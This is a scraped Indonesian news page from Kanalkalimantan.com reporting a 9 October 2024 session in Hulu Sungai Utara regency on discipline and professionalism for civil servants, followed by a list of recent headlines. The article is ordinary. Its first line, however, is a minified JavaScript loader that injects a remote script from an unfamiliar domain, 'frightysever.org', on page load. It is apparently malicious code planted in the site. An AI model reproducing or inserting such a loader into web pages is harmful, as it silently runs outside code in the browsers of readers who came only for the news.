(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pemkab HSU Dorong Peningkatkan Kedisipinan dan Profesionalisme ASN


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) terus mendorong peningkatkan kedisiplinan, kinerja optimal dan keprofesionalan Aparatur Sipil Negara (ASN).

Hal tersebut salah satunya dengan melaksanakan sosialisasi penguatan disiplin ASN untuk mewujudkan kinerja optimal dan profesional di lingkungan Setda HSU, dihadiri pejabat, ASN dan Non ASN, Rabu (9/10/2024) di gedung Agung Setda HSU.

Saat membuka kegiatan, Sekertaris Daerah (Sekda) HSU, Adi Lesmana, menilai kegiatan ini sangat penting dilakukan dalam rangka meningkatkan pemahaman dan pengetahuan sebagai upaya peningkatan disiplin.

“Dan juga pelaksanaan penerapan peraturan pemerintah nomor 94 tahun 2021 tentang disiplin pegawai negeri sipil (PNS) dan menjalankan peraturan Bupati HSU nomor 1 Tahun 2024 tentang presensi online di lingkungan pemerintah kabupaten HSU,” katanya.

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

Adi menyebut, kedisiplinan merupakan hal penting yang memiliki pengaruh besar dalam penyelenggaraan pemerintahan, pelaksanaan pembangunan maupun pelayanan birokrasi.

“Karena apabila kita dapat menerapkan disiplin bagi PNS secara optimal sebagaimana telah diatur dalam peraturan perundang-undangan, maka yakinlah, paling tidak kita dapat menjaga dan menjamin kualitas pelaksanaan reformasi birokrasi agar sesuai dengan standar yang telah ditetapkan,” imbuhnya.

Sekda mengharapkan ASN dan Non ASN di lingkungan pemkab HSU memiliki integritas moral yang baik, profesional, serta memiliki akuntabilitas dalam melaksanakan tugas, sebagai pondasi yang kuat dalam merefleksi kembali semangat reformasi birokrasi.

Baca juga: Bawaslu Banjarbaru Kaji Laporan Dugaan Pelanggaran Bagi Sembako

“Silahkan berinovasi dan lakukanlah yang terbaik sesuai dengan bidang kerja organisasinya, namun perlu mentaati kewajiban serta larangan sebagaimana yang telah diatur oleh pemerintah,” harapnya.

Adi berpesan, sosialisasi tersebut untuk dapat dimanfaatkan guna mendapatkan pemahaman tentang pembinaan dan penegakan disiplin sesuai dengan aturan yang berlaku. Materi disampaikan Alfian Zulkiram dan Dewi Mega Indah dari Kantor Regional VIII BKN Banjarbaru. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

5 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

6 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

8 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

8 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

21 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

23 jam ago

This website uses cookies.